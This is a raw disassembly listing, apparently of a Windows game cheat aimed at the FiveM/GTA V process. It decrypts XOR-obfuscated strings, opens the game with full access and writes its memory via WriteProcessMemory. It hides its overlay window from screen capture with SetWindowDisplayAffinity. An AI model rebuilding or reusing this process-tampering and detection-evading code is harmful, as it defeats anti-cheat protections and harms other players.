mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x54b47b12d914e120
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
vmovdqu ymm0, ymmword [rbp + 0x7a0]
vpxor ymm0, ymm0, ymmword [rbp + 0x1c0]
vmovdqa ymmword [rbp + 0x1c0], ymm0
lea rcx, [rbp + 0x1c0]
vzeroupper
call fcn.14002c8d0
mov ebx, eax
movabs rax, 0xf2ca80dc58599ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0xbec228c1250938ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x700]
movdqa xmmword [rbp + 0x90], xmm0
mov edx, ebx
lea rcx, [rbp + 0x90]
call fcn.140023500
lea rdx, str.FiveM_b2944_GTAProcess.exe
mov ecx, ebx
call fcn.14002c990
lea r15, [rax + 0x2053218]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
movabs rax, 0xd2c09fd2585f9db4
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0xa8], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x6f0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x6f0]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xa0]
call fcn.1400248a0
xorps xmm0, xmm0
mov rdx, qword [0x14004e088]
sub rdx, qword [0x14004e080]
sar rdx, 2
cmp byte [rbp + 8], 0
je 0x140029d51
mov dword [rbp + 0x4d8], r12d
movdqu xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r12
test rdx, rdx
je 0x140029d33
lea rcx, [rbp + 0x110]
call fcn.1400284d0
mov rsi, qword [rbp + 0x110]
mov rbx, qword [0x14004e080]
mov rdi, qword [0x14004e088]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0x118], rax
movabs rsi, 0xd2b9f3b93b36e8e5
movabs rdi, 0x54b47b12d9148458
lea r8, [rbp + 0x110]
mov rdx, r15
mov rcx, r14
call fcn.14002ca50
lea r8, [rbp + 0x4d8]
jmp 0x140029de0
mov dword [rbp + 0x4dc], 0xe
movdqu xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], r12
test rdx, rdx
je 0x140029dc7
lea rcx, [rbp + 0xf8]
call fcn.1400284d0
mov rsi, qword [rbp + 0xf8]
mov rbx, qword [0x14004e080]
mov rdi, qword [0x14004e088]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0x100], rax
movabs rsi, 0xd2b9f3b93b36e8e5
movabs rdi, 0x54b47b12d9148458
lea r8, [rbp + 0xf8]
mov rdx, r15
mov rcx, r14
call fcn.14002ca50
lea r8, [rbp + 0x4dc]
mov qword [rsp + 0x20], r12
mov r9d, 4
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs r14, 0xa4e494f45742267
movabs rbx, 0x86feacf45e4081a3
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs r15, 0xcdc421876a410cf7
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xa4e494f200c4749
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x7c0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x310]
vzeroupper
call fcn.14002bb20
lea rdx, [rbp + 0x5a0]
mov rcx, rax
call fcn.1400285e0
test al, al
je 0x14002a1dd
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xa4e494f200c4749
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x7e0]
vmovdqa ymmword [rbp + 0x180], ymm1
lea rcx, [rbp + 0x180]
vzeroupper
call fcn.14002c8d0
mov ebx, eax
movabs rax, 0xf2ca80dc58599ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0xbec228c1250938ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0xb0], xmm0
mov edx, ebx
lea rcx, [rbp + 0xb0]
call fcn.140023500
lea rdx, str.FiveM_GTAProcess.exe
mov ecx, ebx
call fcn.14002c990
lea r15, [rax + 0x212b208]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
movabs rax, 0xd2c09fd2585f9db4
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xc0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0xc8], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x6d0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
movdqa xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rbp + 0x6d0]
movdqa xmmword [rbp + 0xc0], xmm0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xc0]
call fcn.1400248a0
xorps xmm0, xmm0
mov rdx, qword [0x14004e088]
sub rdx, qword [0x14004e080]
sar rdx, 2
cmp byte [rbp + 8], 0
je 0x14002a137
mov dword [rbp + 0x4e0], r12d
movdqu xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
test rdx, rdx
je 0x14002a119
lea rcx, [rbp + 0xe0]
call fcn.1400284d0
mov rsi, qword [rbp + 0xe0]
mov rbx, qword [0x14004e080]
mov rdi, qword [0x14004e088]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0xe8], rax
movabs rsi, 0xd2b9f3b93b36e8e5
lea r8, [rbp + 0xe0]
mov rdx, r15
mov rcx, r14
call fcn.14002ca50
lea r8, [rbp + 0x4e0]
jmp 0x14002a1bc
mov dword [rbp + 0x4c4], 0xe
movdqu xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
test rdx, rdx
je 0x14002a1a3
lea rcx, [rbp + 0x158]
call fcn.1400284d0
mov rsi, qword [rbp + 0x158]
mov rbx, qword [0x14004e080]
mov rdi, qword [0x14004e088]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0x160], rax
movabs rsi, 0xd2b9f3b93b36e8e5
lea r8, [rbp + 0x158]
mov rdx, r15
mov rcx, r14
call fcn.14002ca50
lea r8, [rbp + 0x4c4]
mov qword [rsp + 0x20], r12
mov r9d, 4
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs r14, 0xa4e494f45742267
movabs rax, 0xa0daa099524286a4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xbec32b8c765d39d3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x720]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 9]
lea rcx, [rbp + 0xd0]
call fcn.1400248a0
mov rcx, qword [0x14004e0f8]
cmp byte [rbp + 9], 0
je 0x14002a268
mov edx, 0x11
jmp 0x14002a26a
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
movzx eax, byte [0x14004e06f]
test al, al
je 0x14002a505
movaps xmm0, xmmword [0x140034370]
movups xmmword [rbp + 0x260], xmm0
lea rdx, str.Program_:_Offline
lea rax, str.Program_:_Online
cmovne rdx, rax
lea rcx, [rbp + 0x260]
call fcn.140023600
movabs r15, 0xe0dbacf45e4081a3
call fcn.14000be30
call fcn.140006c10
mov rcx, qword [0x14004e108]
mov rax, qword [rcx]
mov dword [rsp + 0x30], r12d
movss dword [rsp + 0x28], xmm7
mov dword [rsp + 0x20], r12d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x14004e108]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14002a32f
call fcn.140006f10
mov rax, qword [0x14004e070]
add rax, 0x1d68
mov rcx, r12
cmp byte [rax], r12b
cmovne rcx, rax
call fcn.140021e30
mov rcx, qword [0x14004e108]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x14004e108]
mov rax, qword [rcx]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14002a36c
mov rcx, qword [0x14004e108]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x14002a36c
call fcn.140025cc0
cmp dword [rbp + 0x568], 0x12
jne 0x1400291d0
mov rcx, qword [0x14004e0c8]
test rcx, rcx
je 0x14002a416
mov rdx, qword [0x14004e0d0]
test rdx, rdx
je 0x14002a3ac
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov qword [0x14004e0d0], r12
mov rcx, qword [0x14004e0c8]
mov rdx, qword [0x14004e0c0]
test rdx, rdx
je 0x14002a3cf
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov qword [0x14004e0c0], r12
mov rcx, qword [0x14004e0c8]
mov rdx, qword [0x14004e0b8]
test rdx, rdx
je 0x14002a404
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov qword [0x14004e0b8], r12
mov rax, qword [0x14004e070]
mov rcx, qword [rax + 0xa8]
mov qword [rcx + 8], r12
mov rcx, qword [0x14004e0c8]
test rcx, rcx
je 0x14002a416
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14004e0c8], r12
mov qword [0x14004e0d8], r12
mov rbx, qword [0x14004e070]
mov rcx, rbx
call fcn.140006230
cmp qword [0x14004e070], rbx
jne 0x14002a43c
mov qword [0x14004e070], r12
test rbx, rbx
je 0x14002a464
mov rcx, rbx
call fcn.140012520
mov rax, qword [0x14004e070]
test rax, rax
je 0x14002a45b
dec dword [rax + 0x3bc]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x14004e108]
test rcx, rcx
je 0x14002a47d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14004e108], r12
mov rcx, qword [0x14004e100]
test rcx, rcx
je 0x14002a496
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14004e100], r12
mov rcx, qword [0x14004e0f8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x488]
mov rcx, qword [rbp + 0x4b0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov edx, 1
lea ecx, [rdx + 9]
call qword [sym.imp.KERNEL32.dll_SleepEx]
nop
mov rdx, qword [rbp + 0x528]
cmp rdx, 0xf
jbe 0x14002a513
inc rdx
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a50e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a50e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.14002cd44
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], 0xf
mov byte [rbp + 0x510], 0
mov rdx, qword [rbp + 0x558]
cmp rdx, 0xf
jbe 0x14002a570
inc rdx
mov rcx, qword [rbp + 0x540]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a56b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a56b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002cd44
xor eax, eax
mov rcx, qword [rbp + 0x820]
xor rcx, rsp
call fcn.14002cb70
lea r11, [rsp + 0x910]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [0x14004e100]
mov rdx, qword [0x14004e108]
test rdx, rdx
je 0x14002a5ea
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov qword [0x14004e108], r12
mov rcx, qword [0x14004e100]
test rcx, rcx
je 0x14002a5fc
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14004e100], r12
mov rdx, qword [rbp + 0x488]
mov rcx, qword [rbp + 0x4b0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, 1
jmp 0x14002a572
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x48], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x58], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rdx, [0x140033db0]
lea rcx, [rbp + 0x4e8]
call fcn.14002bb20
mov rcx, rax
call fcn.1400260d0
int3